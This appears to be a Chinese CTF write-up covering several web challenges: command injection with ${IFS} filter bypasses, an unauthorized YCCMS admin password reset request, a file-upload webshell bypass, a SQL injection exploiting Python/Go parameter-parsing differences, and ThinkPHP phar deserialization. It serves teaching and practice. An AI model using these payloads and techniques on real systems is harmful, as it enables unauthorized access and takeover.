robots.txt协议,fiag_ls_h3re.php
开发者工具查看源码即可
CLICKmain.js
文件中
将命令执行结果输出到文件
CMS Systemcmd=llss${IFS}/.>b cmd=cacatt${IFS}/ctf_is_fun_flflagag2021>b
www.zip
源码泄露下载审计,存在未授权管理员密码修改
Yccms代码审计
POST /admin/?a=admin&m=update HTTP/1.1 username=admin&password=123456¬password=123456&send=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81
修改密码后登录后台
后台存在任意文件上传漏洞
CallAction.class.php
跟进logupload
LogoUpload.class.php
上传会将文件重命名并且后缀可控,修改文件名
1.png.php
,可以绕过checkType
函数且重命名之后为logo.php
蚁剑连接即可
Language
源码里有两个文件夹,一个是python,一个是go。其中python文件作为中转,将请求进行处理后再转发给go项目进行处理。
先看看go项目目录结构
关键点在于
backend.go
package controller import ( db "ctf/database" "encoding/json" "fmt" "github.com/buger/jsonparser" "io/ioutil" "net/http" ) type Language struct { Id int32 `json:"id"` Name string `json:"name"` Votes int64 `json:"votes"` } func Index(w http.ResponseWriter, _ *http.Request) { ok(w, "Hello World!") } func List(w http.ResponseWriter, _ *http.Request) { rows, err := db.Sqlite.Query("SELECT * FROM languages;") if err != nil { fail(w, "Something wrong") fmt.Println(err.Error()) return } defer rows.Close() res := make([]Language, 0) for rows.Next() { var pl Language _ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes) res = append(res, pl) } err = json.NewEncoder(w).Encode(res) } func Search(w http.ResponseWriter, r *http.Request) { reqBody, _ := ioutil.ReadAll(r.Body) votes, err := jsonparser.GetInt(reqBody, "votes") if err != nil { fail(w, "Error reading votes") return } name, err := jsonparser.GetString(reqBody, "name") if err != nil { fail(w, "Error reading name") return } query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name) rows, err := db.Sqlite.Query(query) if err != nil { fail(w, "Something wrong") fmt.Println(err.Error()) return } res := make([]Language, 0) for rows.Next() { var pl Language _ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes) res = append(res, pl) } err = json.NewEncoder(w).Encode(res) } func Flag(w http.ResponseWriter, r *http.Request ) { action:= r.URL.Query().Get("action") if action == "" { fail(w, "Error getting action") return } token:= r.URL.Query().Get("token") if token == "" { fail(w, "Error getting token") return } var secret string row := db.Sqlite.QueryRow("SELECT secret FROM token;") if err := row.Scan(&secret); err != nil { fail(w, "Error querying secret token") return } if action == "readFlag" && secret == token { data, err := ioutil.ReadFile("flag") if err != nil { fail(w, "Error reading flag") return } ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data))) return } ok(w, "Wrong token") }
也就是说满足
action == "readFlag" && secret == token
就能得到flag,而token是从数据库中查的,而query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
存在sql注入漏洞,由此可以满足条件。再看
app.py
from flask import Flask, request, render_template, jsonify from urllib.parse import unquote import requests app = Flask(__name__) server = '127.0.0.1:8000' @app.route("/", methods=["GET"]) def index(): return render_template("index.html") @app.route("/list", methods=["POST"]) def listAll(): r = requests.post(f"http://{server}/api/list") return jsonify(r.json()) @app.route("/search", methods=["GET", "POST"]) def search(): if request.method == "GET": return render_template("search.html") else: data = request.json if data['name']: if not isinstance(data['name'], str) or not data['name'].isalnum(): return jsonify({"error": "Bad word detected"}) if data['votes']: if not isinstance(data['votes'], int): return jsonify({"error": "Bad word detected"}) r = requests.post(f"http://{server}/api/search", data=request.data) return jsonify(r.json()) @app.route("/healthcheck", methods=["GET"]) def healthCheck(): getPath = ["", "flag"] postPath = ["api/list", "api/search"] try: for path in getPath: requests.get(f"http://{server}/{path}") for path in postPath: requests.post(f"http://{server}/{path}") except: return "Down" return "OK" @app.route("/", methods=["GET"]) def handle(path): if 'flag' in unquote(path): action = request.args.get('action') token = request.args.get('token') print(action) if action == "readFlag": return jsonify({"error": "Sorry, readFlag is not permitted"}) r = requests.get(f"http://{server}/{path}", params={ "action": action, "token": token }) else: r = requests.get(f"http://{server}/{path}") return jsonify(r.text) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
这里做出了一些限制:
- url中检测到
action == "readFlag"
返回报错 /search
对输入参数进行了过滤,name必须是isalnum()
(只能是字母和数字),votes必须是数字。
对于name和votes使用多参数绕过,python会解析第二个name,go会解析第一个name,因此我们可以进行sql注入。
而对于action的过滤,利用编码绕过/flag%3faction=readFlag
,python会将它解析为url,这样就可以绕过过滤而go会将其正常解析。
最终:
先上传测试一波,没搞出什么东西
但我们观察到这里?s=upload
,很像Thinkphp,访问一下不存在的模块试试
TP6,反序列化一把梭,这里需要生成Phar文件,将后缀改为png上传,再利用phar协议执行即可
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?